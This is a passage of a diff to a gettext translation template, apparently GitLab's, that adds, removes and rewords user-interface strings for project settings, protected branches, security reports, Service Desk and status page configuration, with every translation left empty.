msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22683,6 +23250,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22707,6 +23277,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -22965,7 +23538,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23355,6 +23928,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23370,49 +23946,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
+msgstr ""
+
+msgid "ProjectService|Event triggered when a commit is created or updated."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when someone adds a comment."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when someone pushes to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Issue URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectService|To configure this integration, you should:"
+msgstr ""
+
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23466,25 +24075,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23496,7 +24108,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23508,7 +24120,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23520,10 +24132,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23556,10 +24168,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23583,15 +24198,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23622,7 +24231,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23631,7 +24240,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23652,16 +24261,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23673,12 +24279,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23706,10 +24315,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24243,6 +24852,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24264,7 +24882,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24285,6 +24903,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24459,7 +25080,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24648,7 +25269,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24809,7 +25430,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24821,7 +25442,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24845,6 +25466,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -24893,9 +25517,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25142,6 +25763,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25183,7 +25807,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25203,6 +25827,12 @@ msgstr[0] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25329,6 +25959,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25425,6 +26058,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25729,7 +26365,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -25873,6 +26512,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -25906,9 +26548,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26005,6 +26644,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26023,6 +26665,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26047,9 +26692,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26101,6 +26743,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26152,6 +26797,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26161,6 +26809,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26355,6 +27006,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26430,13 +27084,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26445,10 +27105,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26463,6 +27123,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26520,16 +27183,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26595,15 +27270,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26655,9 +27321,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26667,9 +27330,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26706,6 +27366,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26715,7 +27378,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26745,9 +27408,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26802,9 +27471,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -26898,6 +27564,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27036,19 +27705,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27150,6 +27843,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27204,7 +27900,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27216,6 +27912,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27237,6 +27936,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27440,9 +28142,15 @@ msgstr[0] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27461,6 +28169,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27701,6 +28412,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28379,13 +29093,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28400,9 +29114,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28415,7 +29126,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28505,9 +29216,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28523,9 +29231,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28583,9 +29288,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29209,6 +29911,10 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29364,9 +30070,6 @@ msgstr[0] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29439,6 +30142,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29466,6 +30172,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29478,6 +30187,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29539,6 +30251,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29599,6 +30314,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29671,6 +30389,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29722,6 +30443,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29770,6 +30494,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29797,6 +30527,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -29830,9 +30563,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30076,6 +30806,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30214,7 +30947,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30298,6 +31031,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30307,6 +31043,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30319,6 +31058,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30625,9 +31367,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30724,9 +31463,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
